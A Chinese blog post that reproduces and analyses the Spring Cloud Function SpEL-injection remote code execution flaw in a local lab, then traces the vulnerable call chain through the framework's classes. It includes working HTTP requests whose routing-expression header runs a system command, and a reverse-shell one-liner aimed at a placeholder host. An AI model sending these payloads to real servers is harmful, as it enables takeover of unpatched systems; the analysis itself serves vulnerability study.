IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> Spring Cloud Function SpEL表达式RCE漏洞复现分析 -> 正文阅读

[Java知识库]Spring Cloud Function SpEL表达式RCE漏洞复现分析

 简介

 Spring Cloud功能特点

 影响版本

 3.0.0.M3 <= Spring Cloud Function <=3.2.2

 漏洞复现

 环境搭建

 选择版本为V3.1.6

 根据Tags的更新时间选择,还是选择3.1.6比较稳妥,使用IDEA导入项目

 jar包的下载确实很慢,真是麻了。实际上不用下载那么多jar包,确实用不到,导入项目于

\spring-cloud-function-3.1.6\spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo修改配置文件spring-cloud-function-3.1.6\spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo\src\main\resources\appliaction.properties添加

spring.cloud.function.definition:functionRouter

 配置maven启动项目

http://127.0.0.1:8080

 利用

 构造payload

POST /Ggoodstudy HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 4

gdsf

 这不就吐了么,修改配置文件才能RCE????

 但是修改路由,当路由指定为functionRouter的时候,不修改配置文件已经可以执行恶意payload

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 14

dfdfijkghjkg

 POST请求且必须传参。

 反弹shell

bash -i >& /dev/tvp/xx.xxx.xx.xx/port 0>&1

 进行base64编码,由于这里我使用的是windows环境,所以无法使用反弹shell,具体需要对反弹shell命令进行编码的原因在分析CVE-2018-1270的时候已经分析过了。

 漏洞分析

 首先我们需要了解到spring框架中比较常见的几个jar包

  • spring-beans

    所有应用都要用到的,它包含访问配置文件、创建和管理bean 以及进行Inversion of Control / Dependency Injection(IoC/DI)操作相关的所有类。

  • spring-Expression

    进行SpEL表达式解析

  • spring-core

    Spring 框架基本的核心工具类。Spring 其它组件要都要使用到这个包里的类,是其它组件的基本核心

  • spring-jdbc

    存放对jdbc数据库数据访问所有相关的类

  • spring-messaging

    api以及协议接口

  • spring-context

    为Spring核心提供了大量扩展。可以找到使用Spring ApplicationContext特性时所需的全部类等

  • spring-web

    包含Web 应用开发时,用到Spring 框架时所需的核心类,包括自动载入Web Application Context 特性的类、Struts 与JSF 集成类、文件上传的支持类、Filter 类和大量工具辅助类。

  • pring-webmvc

    包含Spring MVC 框架相关的所有类。包括框架的Servlets,Web MVC框架,控制器和视图支持。

 向上查找利用链

 SpEL表达式的内容是在spring-expression中处理的,在RoutingFunction类中调用

 这里会取出spring.cloud.function.routing-expression:属性的spel表达式

 这个方法属于布尔型的判断,这里的属性构造在请求头内,调用了apply方法

 继续向上分析

 到达SimpleFunctionRegistry.java类的698行,这个apply的方法的触发时

 是在646行定义的,且调用方法doapply,而doapply也在apply方法中调用了,在往上查找就到了FunctionWebRequestProcessingHelper类的processRequest方法

 继续向上查找,到了控制层了,到此为止我们的向上查找已经结束,利用链很强清晰,那么对不对呢,我们使用向下查找利用链来做验证,请看下文

 向下查找利用链

 控制层传入数据首先查找路由,在control层的定位在FunctionControl类中的74行

 调用FunctionWebRequestProcessingHelper类中的http请求参数方法processRequest

 可以看到processRequest方法会获取到我们构造payload的方法,在方法为RoutingFunction的情况下会直接调用RoutingFunction类中的applay方法

 此时我们可以看到这里调用了Route方法

 而在该方法中会读取构造的请求头spring.cloud.function.routing-expression属性的值,调用了方法functionFormExpression,但是在该方法中的parseExpression方法会对SpEL表达式进行解析

 那么我们在调试的过程中

 getValue方法执行的又是什么呢?

这里自然是执行的传入的paylaod的内容以及执行解析后的表达式

 到这里我们能够发现两条链刚好是对称的,说明分析没有问题。

 总结

 分析了spring-cloud-function可以发现,spring框架的几个由SpEL表达式注入造成的RCE的触发点基本上都很相似,触发类以及触发路由分析对于漏洞挖掘来说都有可以借鉴的地方。

 更多靶场实验练习、网安学习资料,请点击这里>>

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-05-06 10:55:43  更:2022-05-06 10:57:40 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 0:26:45-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码